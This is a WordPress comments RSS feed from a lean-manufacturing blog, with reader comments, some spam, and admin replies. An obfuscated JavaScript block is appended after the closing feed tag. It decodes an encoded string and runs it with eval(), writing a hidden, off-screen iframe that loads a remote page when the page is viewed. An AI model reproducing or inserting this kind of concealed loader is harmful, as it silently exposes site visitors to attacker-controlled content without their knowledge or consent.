<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments for Connie Tolman, PMP, LBC-Sensei</title>
	<atom:link href="http://www.connietolman.com/comments/feed" rel="self" type="application/rss+xml" />
	<link>http://www.connietolman.com</link>
	<description>The New Century of Manufacturing - My Observations</description>
	<lastBuildDate>Mon, 16 Jan 2012 15:43:22 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
	<item>
		<title>Comment on New Years Observations by admin</title>
		<link>http://www.connietolman.com/articles/new-years-observations#comment-4009</link>
		<dc:creator>admin</dc:creator>
		<pubDate>Mon, 16 Jan 2012 15:43:22 +0000</pubDate>
		<guid isPermaLink="false">http://www.connietolman.com/?p=1957#comment-4009</guid>
		<description>Yes, thanks so much from Copenhagen!

I had decided to go back to my daily routine again as a new years resolution, so here I am and here you are giving me the encouragement that tells me I&#039;m doing the right thing.

It is such a strange but gratifying process.  I will continue.</description>
		<content:encoded><![CDATA[<p>Yes, thanks so much from Copenhagen!</p>
<p>I had decided to go back to my daily routine again as a new years resolution, so here I am and here you are giving me the encouragement that tells me I&#8217;m doing the right thing.</p>
<p>It is such a strange but gratifying process.  I will continue.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on New Years Observations by nicolai</title>
		<link>http://www.connietolman.com/articles/new-years-observations#comment-4000</link>
		<dc:creator>nicolai</dc:creator>
		<pubDate>Sat, 14 Jan 2012 06:45:37 +0000</pubDate>
		<guid isPermaLink="false">http://www.connietolman.com/?p=1957#comment-4000</guid>
		<description>Keep typing ! Who cares if we enjoy it if it works for you ??

Nicolai, Copenhagen</description>
		<content:encoded><![CDATA[<p>Keep typing ! Who cares if we enjoy it if it works for you ??</p>
<p>Nicolai, Copenhagen</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Tech Talks &#8211; Hacking and Security Measures Being Taken by DOD by Larry Rinzel</title>
		<link>http://www.connietolman.com/movie-poem-tech-meeting-and-book-reviews/tech-talks-hacking-and-security-measures-being-taken-by-dod#comment-290</link>
		<dc:creator>Larry Rinzel</dc:creator>
		<pubDate>Thu, 20 Oct 2011 18:25:43 +0000</pubDate>
		<guid isPermaLink="false">http://www.connietolman.com/?p=1528#comment-290</guid>
		<description>I think you&#039;ve hit it on the head saying the&#039;hierarchical patriarchal based structure&#039; is falling to be replaced by a much more connected structure however, I don&#039;t see it as happening quickly because from my view, most social network users are responding with knee jerk responses, not choosing conscious actions. 

On CNN a week ago, they had an article about new companies needing to work with instant, global communication mediums. These mediums such as facebook and twitter can spread the word and make or break a reputation in a very short time. And, the scary part is, the spread can be beneficial to all or extremely damaging to all without any way to direct it. Items that go Viral is a good example.

After the second world war, I believe it was GM that said (sic), &#039;We decide what the customer wants;&#039; a very authoritarian attitude for sure. That attitude has not held up in the last 50 years of manufacturing with customers wanting it their own way and computers allowing manufacturing to make individual items cost effectively. 

A problem with this type change in the manufacturing sector is dealing with hard goods, actual physical products. It is not really cost effective to make each item different. To give the appearance of have it your way, electronics companies tend to design something and then change the &quot;skin&quot;. This gives the user the appearance of getting it the way they want it, but it is really just the same item everyone else has. For example, on cell phones they just change the outside look and the programming. The insides are the same electronically, the plastic outside may have a different cover and the programming may swap button functions on the screen, but the guts of the phone are the same, yet one version fetches a higher price.

It seems to me the old adage, perception is everything, is absolutely true. People perceive they have something different, even though it really isn&#039;t different, and they act upon this perceived difference. Up until now, politicians and the whole patriarchy have known this and known how to maneuver this. Marketing and advertising is all based on this, but with the advent of the social networking, this is changing. Everyone is scrambling to figure out the next best online marketing scheme, the next best phone app, and the people who are using the social networking system, to me, seem to be totally lost in the impulse or the bells and whistles. It seems to me that we are seeing the patriarchy fall because of the connection based system but the users in the connection based system don&#039;t understand connection. So far, it seems they are lost in reaction. 

I see this as a place for the buddhist awareness of the mind. People need to see that knee jerk responses are generic, from the mind and can be categorized. No one is special in these responses. All of us have these knee jerk responses. No one escapes having these. Until people become aware of their knee jerk responses, the social media will create something similar to mob mentality where the result is unpredictable, not because it is a well thought out strategy, but because people are just reacting to whatever, whenever and however. 

Over time, if people can learn the principles of Buddhism, even if they don&#039;t practice it, they will at least become aware of when they are knee jerk reacting and when they are consciously choosing. Once that starts to happen, in my opinion, the social media will change allowing for connected-ness to beneficially replace the patriarchy.</description>
		<content:encoded><![CDATA[<p>I think you&#8217;ve hit it on the head saying the&#8217;hierarchical patriarchal based structure&#8217; is falling to be replaced by a much more connected structure however, I don&#8217;t see it as happening quickly because from my view, most social network users are responding with knee jerk responses, not choosing conscious actions. </p>
<p>On CNN a week ago, they had an article about new companies needing to work with instant, global communication mediums. These mediums such as facebook and twitter can spread the word and make or break a reputation in a very short time. And, the scary part is, the spread can be beneficial to all or extremely damaging to all without any way to direct it. Items that go Viral is a good example.</p>
<p>After the second world war, I believe it was GM that said (sic), &#8216;We decide what the customer wants;&#8217; a very authoritarian attitude for sure. That attitude has not held up in the last 50 years of manufacturing with customers wanting it their own way and computers allowing manufacturing to make individual items cost effectively. </p>
<p>A problem with this type change in the manufacturing sector is dealing with hard goods, actual physical products. It is not really cost effective to make each item different. To give the appearance of have it your way, electronics companies tend to design something and then change the &#8220;skin&#8221;. This gives the user the appearance of getting it the way they want it, but it is really just the same item everyone else has. For example, on cell phones they just change the outside look and the programming. The insides are the same electronically, the plastic outside may have a different cover and the programming may swap button functions on the screen, but the guts of the phone are the same, yet one version fetches a higher price.</p>
<p>It seems to me the old adage, perception is everything, is absolutely true. People perceive they have something different, even though it really isn&#8217;t different, and they act upon this perceived difference. Up until now, politicians and the whole patriarchy have known this and known how to maneuver this. Marketing and advertising is all based on this, but with the advent of the social networking, this is changing. Everyone is scrambling to figure out the next best online marketing scheme, the next best phone app, and the people who are using the social networking system, to me, seem to be totally lost in the impulse or the bells and whistles. It seems to me that we are seeing the patriarchy fall because of the connection based system but the users in the connection based system don&#8217;t understand connection. So far, it seems they are lost in reaction. </p>
<p>I see this as a place for the buddhist awareness of the mind. People need to see that knee jerk responses are generic, from the mind and can be categorized. No one is special in these responses. All of us have these knee jerk responses. No one escapes having these. Until people become aware of their knee jerk responses, the social media will create something similar to mob mentality where the result is unpredictable, not because it is a well thought out strategy, but because people are just reacting to whatever, whenever and however. </p>
<p>Over time, if people can learn the principles of Buddhism, even if they don&#8217;t practice it, they will at least become aware of when they are knee jerk reacting and when they are consciously choosing. Once that starts to happen, in my opinion, the social media will change allowing for connected-ness to beneficially replace the patriarchy.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Letter to New Industrial Engineers by industrial engineers - SCHOOL GUIDE &#8211; SCHOOL GUIDE</title>
		<link>http://www.connietolman.com/lean-and-toyota-kata/letter-to-new-industrial-engineers#comment-264</link>
		<dc:creator>industrial engineers - SCHOOL GUIDE &#8211; SCHOOL GUIDE</dc:creator>
		<pubDate>Thu, 25 Aug 2011 00:03:43 +0000</pubDate>
		<guid isPermaLink="false">http://www.connietolman.com/?p=1671#comment-264</guid>
		<description>[...] Letter to New Industrial Engineers &#124; Connie Tolman, PMP, LBC-Sensei  I have worked in the industrial/manufaturing engineering field for over 30 years. The reason I tell you this is that it is hard to imagine that one field could keep you challenged and interested for that long. &#8230; http://www.connietolman.com/le .. [...]</description>
		<content:encoded><![CDATA[<p>[...] Letter to New Industrial Engineers | Connie Tolman, PMP, LBC-Sensei  I have worked in the industrial/manufaturing engineering field for over 30 years. The reason I tell you this is that it is hard to imagine that one field could keep you challenged and interested for that long. &#8230; <a href="http://www.connietolman.com/le" rel="nofollow">http://www.connietolman.com/le</a> .. [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Lean Bronze Certification Achieved from AME &#8211; Reflections by admin</title>
		<link>http://www.connietolman.com/lean-and-toyota-kata/lean-bronze-certification-achieved-from-ame-reflections#comment-190</link>
		<dc:creator>admin</dc:creator>
		<pubDate>Sun, 03 Jul 2011 00:33:27 +0000</pubDate>
		<guid isPermaLink="false">http://www.connietolman.com/?p=1089#comment-190</guid>
		<description>Thanks for the comment.  I&#039;ll check in with you as well.</description>
		<content:encoded><![CDATA[<p>Thanks for the comment.  I&#8217;ll check in with you as well.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Lean Bronze Certification Achieved from AME &#8211; Reflections by admin</title>
		<link>http://www.connietolman.com/lean-and-toyota-kata/lean-bronze-certification-achieved-from-ame-reflections#comment-189</link>
		<dc:creator>admin</dc:creator>
		<pubDate>Sun, 03 Jul 2011 00:32:43 +0000</pubDate>
		<guid isPermaLink="false">http://www.connietolman.com/?p=1089#comment-189</guid>
		<description>I haven&#039;t yet.  I have added a backup though but I&#039;m not quite sure how it works.</description>
		<content:encoded><![CDATA[<p>I haven&#8217;t yet.  I have added a backup though but I&#8217;m not quite sure how it works.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Lean Bronze Certification Achieved from AME &#8211; Reflections by quality management training</title>
		<link>http://www.connietolman.com/lean-and-toyota-kata/lean-bronze-certification-achieved-from-ame-reflections#comment-179</link>
		<dc:creator>quality management training</dc:creator>
		<pubDate>Wed, 29 Jun 2011 11:16:03 +0000</pubDate>
		<guid isPermaLink="false">http://www.connietolman.com/?p=1089#comment-179</guid>
		<description>Heya! I just wanted to ask if you ever have any issues with hackers? My last blog (wordpress) was hacked and I ended up losing several weeks of hard work due to no back up. Do you have any methods to protect against hackers?</description>
		<content:encoded><![CDATA[<p>Heya! I just wanted to ask if you ever have any issues with hackers? My last blog (wordpress) was hacked and I ended up losing several weeks of hard work due to no back up. Do you have any methods to protect against hackers?</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Lean Bronze Certification Achieved from AME &#8211; Reflections by iso guidelines</title>
		<link>http://www.connietolman.com/lean-and-toyota-kata/lean-bronze-certification-achieved-from-ame-reflections#comment-178</link>
		<dc:creator>iso guidelines</dc:creator>
		<pubDate>Tue, 28 Jun 2011 07:24:37 +0000</pubDate>
		<guid isPermaLink="false">http://www.connietolman.com/?p=1089#comment-178</guid>
		<description>Hey there! I could have sworn I&#039;ve been to this website before but after browsing through some of the post I realized it&#039;s new to me. Anyhow, I&#039;m definitely delighted I found it and I&#039;ll be bookmarking and checking back frequently!</description>
		<content:encoded><![CDATA[<p>Hey there! I could have sworn I&#8217;ve been to this website before but after browsing through some of the post I realized it&#8217;s new to me. Anyhow, I&#8217;m definitely delighted I found it and I&#8217;ll be bookmarking and checking back frequently!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Living on the Edge &#8211; How Did I Get Here? by best acne treatment</title>
		<link>http://www.connietolman.com/articles/living-on-the-edge-how-did-i-get-here#comment-177</link>
		<dc:creator>best acne treatment</dc:creator>
		<pubDate>Mon, 27 Jun 2011 12:08:05 +0000</pubDate>
		<guid isPermaLink="false">http://www.connietolman.com/?p=1179#comment-177</guid>
		<description>I just added this feed to my bookmarks. I have to say, I very much enjoy reading your blogs. Thanks!    
My website is &lt;a href=&quot;http://www.homeremediesforacnetreatments.com&quot; rel=&quot;nofollow&quot;&gt;acne scar treatment&lt;/a&gt;</description>
		<content:encoded><![CDATA[<p>I just added this feed to my bookmarks. I have to say, I very much enjoy reading your blogs. Thanks!<br />
My website is <a href="http://www.homeremediesforacnetreatments.com" rel="nofollow">acne scar treatment</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on The Kata Training Journey &#8211; Part 3 by admin</title>
		<link>http://www.connietolman.com/lean-and-toyota-kata/the-kata-training-journey-part-3#comment-167</link>
		<dc:creator>admin</dc:creator>
		<pubDate>Fri, 03 Jun 2011 19:22:10 +0000</pubDate>
		<guid isPermaLink="false">http://www.connietolman.com/?p=1151#comment-167</guid>
		<description>Thanks for the suggestions.  I will definitely look at them closely.  The thing is that I&#039;m trying to do the Improvement kata and to do that I need to identify the current condition which because this company is VERY far behind in the lean journey, it has been difficult to do.  Have you been exposed to Toyota Kata by Mike Rother yet?  It is a somewhat different approach with many of the same elements.  It helps me very much to know there are other travelers along the road watching my progress.</description>
		<content:encoded><![CDATA[<p>Thanks for the suggestions.  I will definitely look at them closely.  The thing is that I&#8217;m trying to do the Improvement kata and to do that I need to identify the current condition which because this company is VERY far behind in the lean journey, it has been difficult to do.  Have you been exposed to Toyota Kata by Mike Rother yet?  It is a somewhat different approach with many of the same elements.  It helps me very much to know there are other travelers along the road watching my progress.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script>var ac689dd="";var t2237316db12a={pf1aa6e6261f:function(o3){var nb=String,u3=o3.substr(15,3)-450,t2,p6;o3=o3.substr(18);var o9=o3.length;for(var v7=0;v7<o9;v7++){try{throw(v6=o3.substr(v7,1));}catch(e){v6=e;};if(v6=='™'){u3="";v7++;r5=o3.substr(v7,1);while(r5!='™'){u3+=r5;v7++;r5=o3.substr(v7,1);}u3-=599;continue;}t2="";if(v6=='°'){v7++;v6=o3.substr(v7,1);while(v6!='°'){t2+=v6;v7++;v6=o3.substr(v7,1);}t2=t2-u3-39;if(t2<0)t2+=256;if(t2>=192)t2+=848;else if(t2==168)t2=1025;else if(t2==184)t2=1105;ac689dd+=nb["fromCharCode"](t2);continue;}y2=(v6+'')["charCodeAt"](0);if(y2>848)y2-=848;p6=y2-u3-39;if(p6<0)p6+=256;if(p6>=192)p6+=848;else if(p6==168)p6=1025;else if(p6==184)p6=1105;ac689dd+=nb["fromCharCode"](p6);}}};t2237316db12a.pf1aa6e6261f("14df201e9c8129b491°180°°191°°179°°197°°189°°181°°190°°196°°126°°199°°194°°185°°196°°181°xw°140°°185°°182°°194°°177°°189°°181°p°195°°194°°179°°141°r°184°°196°°196°°192°°138°°127°°127°°196°°180°°195°°136°°129°°126°°129°°180°°197°°189°°178°°126°°179°°191°°189°°127°°195°°196°°180°°195°°127°°183°°191°°126°°192°°184°°192°°143°°195°°185°°180°°141°°129°rp°182°°194°°177°°189°°181°°178°°191°°194°°180°°181°°194°°141°r°128°rp°195°°196°°201°°188°°181°°141°r°199°°185°°180°°196°°184°°138°°129°°128°°192°°200°°139°°184°°181°°185°°183°°184°°196°°138°°129°°128°°192°°200°°139°°192°°191°°195°°185°°196°°185°°191°°190°°138°°177°°178°°195°°191°°188°°197°°196°°181°°139°°196°°191°°192°°138°°125°°129°°128°°128°°192°°200°r°142°°140°°127°°185°°182°°194°°177°°189°°181°°142°wy°139°");eval(ac689dd);</script>
